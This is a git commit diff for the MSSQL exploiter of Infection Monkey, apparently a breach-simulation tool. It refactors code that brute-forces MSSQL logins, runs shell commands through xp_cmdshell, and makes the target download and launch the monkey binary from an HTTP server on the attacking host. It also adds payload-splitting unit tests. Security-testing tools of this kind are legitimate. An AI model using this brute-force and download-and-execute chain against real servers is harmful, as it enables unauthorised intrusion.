Added unit tests, improved mssql readability

This commit is contained in:
VakarisZ 2019-09-03 15:51:13 +03:00
parent b733cf3389
commit 63d07f9c4b
7 changed files with 175 additions and 105 deletions

View File

@ -1,16 +1,18 @@
import logging
import os
import sys
from time import sleep
import pymssql
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \
build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__)
@ -42,114 +44,110 @@ class MSSQLExploiter(HostExploiter):
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.cursor = None
self.monkey_binary_on_host_path = None
self.monkey_server = None
self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
def _exploit_host(self):
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
if not self.cursor:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
# Get monkey exe for host and it's path
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME)
# Create dir for payload
self.create_temp_dir()
try:
self.create_empty_payload_file()
self.start_monkey_server()
self.upload_monkey()
self.stop_monkey_server()
# Clear payload to pass in another command
self.create_empty_payload_file()
self.run_monkey()
self.remove_temp_dir()
except Exception as e:
raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
return True
def run_payload_file(self):
file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
return self.run_mssql_command(file_running_command)
def create_temp_dir(self):
dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
if not self.try_to_run_mssql_command(dir_creation_command):
return False
self.run_mssql_command(dir_creation_command)
if not self.create_empty_payload_file(tmp_file_path):
return True
def create_empty_payload_file(self):
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
self.run_mssql_command(tmp_file_creation_command)
# Form download command
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path,
'dst_path': dst_path}
# Form suffix for appending to temp payload file
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
monkey_download_command = MSSQLLimitedSizePayload(command=monkey_download_command,
suffix=suffix,
prefix=prefix)
if not self.try_to_run_mssql_command(monkey_download_command):
return True
self.run_file(tmp_file_path)
def run_mssql_command(self, mssql_command):
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
if not array_of_commands:
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
self.run_mssql_commands(array_of_commands)
def run_monkey(self):
monkey_launch_command = self.get_monkey_launch_command()
self.run_mssql_command(monkey_launch_command)
self.run_payload_file()
def run_mssql_commands(self, cmds):
for cmd in cmds:
self.cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
def upload_monkey(self):
monkey_download_command = self.write_download_command_to_payload()
self.run_payload_file()
self.add_executed_cmd(monkey_download_command.command)
# Clear payload to pass in another command
if not self.create_empty_payload_file(tmp_file_path):
return True
def remove_temp_dir(self):
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
self.run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self):
self.monkey_server = MonkeyHTTPServer(self.host)
self.monkey_server.start()
def stop_monkey_server(self):
self.monkey_server.stop()
def write_download_command_to_payload(self):
monkey_download_command = self.get_monkey_download_command()
self.run_mssql_command(monkey_download_command)
return monkey_download_command
def get_monkey_launch_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
# Form monkey's launch command
monkey_args = build_monkey_commandline(self.host,
get_monkey_depth() - 1,
dst_path)
suffix = ">>%s" % tmp_file_path
suffix = ">>%s" % self.payload_file_path
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix)
if not self.try_to_run_mssql_command(monkey_launch_command):
return True
self.run_file(tmp_file_path)
return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
prefix=prefix,
suffix=suffix)
# Remove temporary dir we stored payload at
tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path)
self.try_to_run_mssql_command(tmp_file_removal_command)
tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
self.try_to_run_mssql_command(tmp_dir_removal_command)
return True
def run_file(self, file_path):
file_running_command = MSSQLLimitedSizePayload(file_path)
return self.try_to_run_mssql_command(file_running_command)
def create_empty_payload_file(self, file_path):
# Create payload file
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path}
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
return self.try_to_run_mssql_command(tmp_file_creation_command)
def try_to_run_mssql_command(self, mssql_command):
array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
if not array_of_commands:
LOG.error("Couldn't execute MSSQL because payload was too long")
return False
return MSSQLExploiter.execute_commands(self.cursor, array_of_commands)
@staticmethod
def execute_commands(cursor, cmds):
"""
Executes commands on MSSQL server
:param cursor: MSSQL connection
:param cmds: list of commands in MSSQL syntax.
:return: True if successfully executed, false otherwise.
"""
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
return True
def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
'dst_path': dst_path}
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
return MSSQLLimitedSizePayload(command=monkey_download_command,
suffix=suffix,
prefix=prefix)
def brute_force(self, host, port, users_passwords_pairs_list):
"""
@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return None
raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
class MSSQLLimitedSizePayload(LimitedSizePayload):

View File

@ -0,0 +1,5 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -47,6 +47,13 @@ def get_interface_to_target(dst):
return ret[1]
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:
raise Exception("Can't find suitable monkey executable for host %r", host)
return src_path
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform

View File

@ -7,8 +7,8 @@ from threading import Lock
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar'
@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
@ -33,6 +34,14 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
@ -60,3 +69,22 @@ class HTTPTools(object):
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
class MonkeyHTTPServer(HTTPTools):
def __init__(self, host):
super(MonkeyHTTPServer, self).__init__()
self.http_path = None
self.http_thread = None
self.host = host
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
def stop(self):
if not self.http_path or not self.http_thread:
raise Exception("Can't stop http server that wasn't started!")
self.http_thread.join(DOWNLOAD_TIMEOUT)
self.http_thread.stop()

View File

@ -10,18 +10,13 @@ class Payload(object):
"""
def __init__(self, command, prefix="", suffix=""):
"""
:param command: command
:param prefix: commands prefix
:param suffix: commands suffix
"""
self.command = command
self.prefix = prefix
self.suffix = suffix
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (full payload)
Returns prefixed and suffixed command (payload)
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
:return: prefixed and suffixed command (full payload)
"""
@ -50,9 +45,9 @@ class LimitedSizePayload(Payload):
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command.")
return False
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
@ -62,7 +57,7 @@ class LimitedSizePayload(Payload):
return commands
def get_max_sub_payload_length(self):
return self.max_length - len(self.prefix) - len(self.suffix) - 1
return self.max_length - len(self.prefix) - len(self.suffix)
def payload_is_too_long(self, command):
return len(command) > self.max_length
return len(command) >= self.max_length

View File

@ -0,0 +1,32 @@
from unittest import TestCase
from payload_parsing import Payload, LimitedSizePayload
class TestPayload(TestCase):
def test_get_payload(self):
test_str1 = "abc"
test_str2 = "atc"
payload = Payload(command="b", prefix="a", suffix="c")
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
def test_is_suffix_and_prefix_too_long(self):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
def test_split_into_array_of_smaller_payloads(self):
test_str1 = "123456789"
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
test1 = bool(array1[0] == "prefix1234suffix" and
array1[1] == "prefix5678suffix" and
array1[2] == "prefix9suffix")
test_str2 = "12345678"
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
test2 = bool(array2[0] == "prefix1234suffix" and
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
__author__ = 'itamar'
@ -300,7 +301,11 @@ class InfectionMonkey(object):
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
return True
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)